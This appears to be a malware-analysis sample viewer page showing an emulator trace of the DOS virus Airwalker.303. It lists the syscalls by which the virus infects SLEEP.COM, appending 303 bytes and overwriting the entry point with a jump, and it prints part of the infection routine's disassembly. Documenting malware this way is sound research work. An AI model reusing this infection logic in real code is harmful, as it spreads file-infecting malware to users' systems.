Sample viewer

vx.netlux.org/Virus.DOS.Airwalker.303

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T21:54:19.429696806Z 26 PC: 12aa0 | Set disk transfer address
2018-12-17T21:54:19.431589304Z 78 PC: 12aac | Find first file
2018-12-17T21:54:19.438634438Z 61 PC: 12abf | Open file (Filename = 'SLEEP.COM')
2018-12-17T21:54:19.445316993Z 63 PC: 12acd | Read file or device (Read 3 bytes on handle 5)
2018-12-17T21:54:19.4538628Z 66 PC: 12ae0 | Move file pointer
2018-12-17T21:54:19.455242126Z 44 PC: 12aed | Get time 0x12aed: xchg cl, ch
0x12aef: add dx, cx
0x12af1: mov word ptr [bp + 0x11f], dx
0x12af5: mov ah, 0x40
0x12af7: mov cx, 0x12f
0x12afa: lea dx, word ptr [bp]
0x12afd: pushaw
0x12afe: jmp 0x12ba7
0x12b01: pop ax
0x12b02: jb 0x12aae
0x12b04: sub ax, 3
0x12b07: push bx
0x12b08: mov bx, bp
0x12b0a: mov word ptr cs:[bx + 1], ax
0x12b0e: mov byte ptr [bx], 0xe9
0x12b11: pop bx
0x12b12: mov ax, 0x4200
0x12b15: xor cx, cx
0x12b17: cdq
0x12b18: int 0x21
2018-12-17T21:54:19.457497445Z 64 PC: 12bad | Write file or device (Write 303 bytes on handle 5)
2018-12-17T21:54:19.471719632Z 66 PC: 12b1a | Move file pointer
2018-12-17T21:54:19.473742594Z 64 PC: 12b27 | Write file or device (Write 3 bytes on handle 5)
2018-12-17T21:54:19.480105847Z 62 PC: 12b2d | Close file
2018-12-17T21:54:19.487999062Z 9 PC: 12a47 | Display string (String= 'WARNING: You have just released the Airwalker.303 virus! ')